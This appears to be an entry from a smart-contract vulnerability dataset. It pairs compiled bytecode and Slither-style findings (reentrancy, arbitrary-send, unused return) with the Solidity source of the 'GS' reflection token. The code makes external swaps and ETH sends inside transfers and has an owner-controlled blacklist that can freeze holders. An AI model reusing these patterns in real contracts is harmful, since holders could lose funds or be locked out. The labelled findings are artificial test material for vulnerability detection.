065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045c0e4cd669de3f9d65876ede245fd2870ec1fb93bc8a4bc342b01fc424a9a1864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,977 |
0x0c3163d5255e62afe6b85b273e71ce0b6d9c216a
|
/**
*Submitted for verification at Etherscan.io on 2021-11-14
*/
//SPDX-License-Identifier: UNLICENSED
// We are the seethers, The copers, The copers, Those that REEEEE in the morning,
// For all the missed wagmi Family's, All the fumbled bags, A moonshot we bought the top of.
// We have cope, That for every GR, It is followed by a GS.
// 🌐 website : https://wagmi-gs.com
// 💬 telegram : https://t.me/wagmigs
// 🕊️ twitter : https://twitter.com/wagmiGS
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WAGMIGS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GS";
string private constant _symbol = "GS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xCbc14E6762db61A071433837671563D7D5DDa309);
_feeAddrWallet2 = payable(0xC9dC88D3Dc2b735ed6A410D5485aF028d1A46cd6);
_rOwned[address(this)] = _rTotal / 100 * 50;
_rOwned[address(0xdead)] = _rTotal / 100 * 50;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), address(this), _tTotal * 50 / 100 );
emit Transfer(address(0), address(0xdead), _tTotal * 50 / 100 );
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeMaxTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461033e578063b515566a1461037b578063c3c8cd80146103a4578063c9567bf9146103bb578063dd62ed3e146103d257610114565b806370a0823114610294578063715018a6146102d15780638da5cb5b146102e857806395d89b411461031357610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780634415fb611461023d5780635932ead1146102545780636fc3eaec1461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612b39565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906126b3565b61044c565b6040516101789190612b1e565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612c9b565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612660565b61047b565b6040516101e09190612b1e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906125c6565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612d10565b60405180910390f35b34801561024957600080fd5b5061025261064d565b005b34801561026057600080fd5b5061027b6004803603810190610276919061273c565b6106f4565b005b34801561028957600080fd5b506102926107a6565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906125c6565b610818565b6040516102c89190612c9b565b60405180910390f35b3480156102dd57600080fd5b506102e6610869565b005b3480156102f457600080fd5b506102fd6109bc565b60405161030a9190612a50565b60405180910390f35b34801561031f57600080fd5b506103286109e5565b6040516103359190612b39565b60405180910390f35b34801561034a57600080fd5b50610365600480360381019061036091906126b3565b610a22565b6040516103729190612b1e565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d91906126f3565b610a40565b005b3480156103b057600080fd5b506103b9610b6a565b005b3480156103c757600080fd5b506103d0610be4565b005b3480156103de57600080fd5b506103f960048036038101906103f49190612620565b611140565b6040516104069190612c9b565b60405180910390f35b60606040518060400160405280600281526020017f4753000000000000000000000000000000000000000000000000000000000000815250905090565b60006104606104596111c7565b84846111cf565b6001905092915050565b6000683635c9adc5dea00000905090565b600061048884848461139a565b610549846104946111c7565b610544856040518060600160405280602881526020016133c560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199f9092919063ffffffff16565b6111cf565b600190509392505050565b61055c6111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612bfb565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612bfb565b60405180910390fd5b683635c9adc5dea00000601081905550565b6106fc6111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078090612bfb565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107e76111c7565b73ffffffffffffffffffffffffffffffffffffffff161461080757600080fd5b600047905061081581611a03565b50565b6000610862600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe565b9050919050565b6108716111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f590612bfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4753000000000000000000000000000000000000000000000000000000000000815250905090565b6000610a36610a2f6111c7565b848461139a565b6001905092915050565b610a486111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90612bfb565b60405180910390fd5b60005b8151811015610b6657600160066000848481518110610afa57610af9613058565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b5e90612fb1565b915050610ad8565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bab6111c7565b73ffffffffffffffffffffffffffffffffffffffff1614610bcb57600080fd5b6000610bd630610818565b9050610be181611b6c565b50565b610bec6111c7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7090612bfb565b60405180910390fd5b600f60149054906101000a900460ff1615610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090612c7b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d5930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111cf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9f57600080fd5b505afa158015610db3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd791906125f3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3957600080fd5b505afa158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906125f3565b6040518363ffffffff1660e01b8152600401610e8e929190612a6b565b602060405180830381600087803b158015610ea857600080fd5b505af1158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee091906125f3565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f6930610818565b600080610f746109bc565b426040518863ffffffff1660e01b8152600401610f9696959493929190612abd565b6060604051808303818588803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fe89190612796565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110ea929190612a94565b602060405180830381600087803b15801561110457600080fd5b505af1158015611118573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113c9190612769565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123690612c5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a690612b9b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161138d9190612c9b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190612c3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612b5b565b60405180910390fd5b600081116114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490612c1b565b60405180910390fd5b6002600a819055506008600b819055506114d56109bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561154357506115136109bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115f557600080fd5b600f600090549061